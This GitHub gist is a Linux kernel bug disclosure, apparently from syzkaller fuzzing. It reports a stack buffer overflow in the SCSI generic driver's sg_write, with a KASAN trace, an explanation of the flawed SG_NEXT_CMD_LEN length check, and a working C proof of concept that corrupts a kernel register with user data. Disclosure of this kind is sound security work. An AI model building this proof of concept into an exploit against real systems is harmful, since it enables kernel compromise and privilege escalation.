Skip to content

Instantly share code, notes, and snippets.

@dvyukov
Created March 20, 2017 09:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dvyukov/48ad14e84de45b0be92b7f0eda20ff1b to your computer and use it in GitHub Desktop.
Save dvyukov/48ad14e84de45b0be92b7f0eda20ff1b to your computer and use it in GitHub Desktop.
We've discovered an easy to trigger kernel stack smashing with user data in sg_write. Under KASAN is looks as:
BUG: KASAN: stack-out-of-bounds in __copy_from_user arch/x86/include/asm/uaccess_64.h:114 [inline] at addr ffff8801cc72fb68
BUG: KASAN: stack-out-of-bounds in sg_write+0x74d/0xe90 drivers/scsi/sg.c:657 at addr ffff8801cc72fb68
Write of size 255 by task syz-executor5/5673
page:ffffea00064b9248 count:0 mapcount:0 mapping: (null) index:0x0
flags: 0x200000000000000()
raw: 0200000000000000 0000000000000000 0000000000000000 00000000ffffffff
raw: dead000000000100 dead000000000200 0000000000000000
page dumped because: kasan: bad access detected
CPU: 0 PID: 5673 Comm: syz-executor5 Not tainted 4.10.0-rc7+ #44
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
Call Trace:
__dump_stack lib/dump_stack.c:15 [inline]
dump_stack+0x2ee/0x3ef lib/dump_stack.c:51
print_address_description mm/kasan/report.c:210 [inline]
kasan_report_error mm/kasan/report.c:289 [inline]
kasan_report.part.2+0x47f/0x4b0 mm/kasan/report.c:311
kasan_report+0x21/0x30 mm/kasan/report.c:298
check_memory_region_inline mm/kasan/kasan.c:315 [inline]
check_memory_region+0x139/0x190 mm/kasan/kasan.c:322
kasan_check_write+0x14/0x20 mm/kasan/kasan.c:333
__copy_from_user arch/x86/include/asm/uaccess_64.h:114 [inline]
sg_write+0x74d/0xe90 drivers/scsi/sg.c:657
__vfs_write+0x5b1/0x740 fs/read_write.c:510
vfs_write+0x187/0x530 fs/read_write.c:560
SYSC_write fs/read_write.c:607 [inline]
SyS_write+0xfb/0x230 fs/read_write.c:599
entry_SYSCALL_64_fastpath+0x1f/0xc2
RIP: 0033:0x44fb59
RSP: 002b:00007ff2b81ecb58 EFLAGS: 00000212 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000020000eb0 RCX: 000000000044fb59
RDX: 0000000000000150 RSI: 0000000020000eb0 RDI: 0000000000000025
RBP: 0000000000000025 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000212 R12: 0000000000708000
R13: 00007ff2b81ec628 R14: 0000000000000001 R15: 0000000000000000
Memory state around the buggy address:
ffff8801cc72fb00: f2 00 00 00 00 04 f2 f2 f2 f2 f2 f2 f2 00 00 00
ffff8801cc72fb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff8801cc72fc00: 00 00 00 00 00 00 00 00 00 00 00 00 04 f3 f3 f3
^
ffff8801cc72fc80: f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff8801cc72fd00: f1 f1 f1 f1 00 00 f2 f2 f2 f2 f2 f2 00 00 00 00
==================================================================
Here is a PoC that actually corrupts a spilled register:
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
const char* data =
"\xff\x02\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00"
"\x04\x09\x5a\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x05\x06\xd5\x00\x00\x00\x00\x7a\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xaf\x02\x06\x02\x00\x00\x00\x00"
"\xed\x9b\x68\x6a\x5b\xe2\x6d\x4f\xa7\x97\x62\xcb\x00\x00\x00\x00"
"\x03\x39\xf9\x03\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x81\x03\x00\x00\x00\x00"
"\x00\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x06\x05\x13\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x80\x96\x98\x00\x00\x00\x00\x00\xcd\x40\x7f\x03\x00\x00\x00\x00"
"\xae\x00\x00\x00\x57\x00\x00\x00\xcd\xcd\xcd\xcd\x00\x00\x00\x00"
"\x00\xab\x81\xab\x00\x00\x00\x00\x00\x94\x35\x77\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x40\x80\x45\xdb\x00\x00\x00\x00"
"\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x00\xcd\xcd\xcd\xcd"
"\x05\x7f\xf9\x96\x00\x00\x00\x00\x00\x94\x35\x77\xcd\xcd\xcd\xcd"
"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x40\x03\x90\xab\xab\xab\xab"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcd\xcd\xcd\xcd"
"\x00\xd0\xba\x07\x00\x00\x00\x00\xcd\x7f\x00\x00\xcd\xcd\xcd\xcd"
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x40\x80\xf8\xcd\xcd\xcd\xcd"
"\x01\x09\x07\x00\xd0\x4f\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00";
int main()
{
int fd = open("/dev/sg0", O_RDWR|O_NOATIME);
int arg = 0xff;
ioctl(fd, 0x2283 /*SG_NEXT_CMD_LEN*/, &arg);
struct iovec iov;
iov.iov_base = (void*)data;
iov.iov_len = 336;
int res = writev(fd, &iov, 1);
printf("res=%x\n", res);
return 0;
}
It prints:
res=bad150
and "bad" comes from the user data here: "\x00\xd0\xba\x07\x00\x00\x00\x00\xcd\x7f\x00\x00\xcd\xcd\xcd\xcd"
The problem is with:
case SG_NEXT_CMD_LEN:
sfp->next_cmd_len = (val > 0) ? val : 0;
which can set sfp->next_cmd_len up to 0xff and:
#define SG_MAX_CDB_SIZE 252
sg_write(struct file *filp, const char __user *buf, size_t count, loff_t * ppos)
{
....
unsigned char cmnd[SG_MAX_CDB_SIZE];
....
cmd_size = sfp->next_cmd_len;
....
if (__copy_from_user(cmnd, buf, cmd_size))
which copies up to 255 bytes into stack buffer of size 252.
On linux-next/9f7e70ff42dbf3af7ed0699906b699c41930b265 with defconfig+kvmconfig and gcc 4.8.4.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment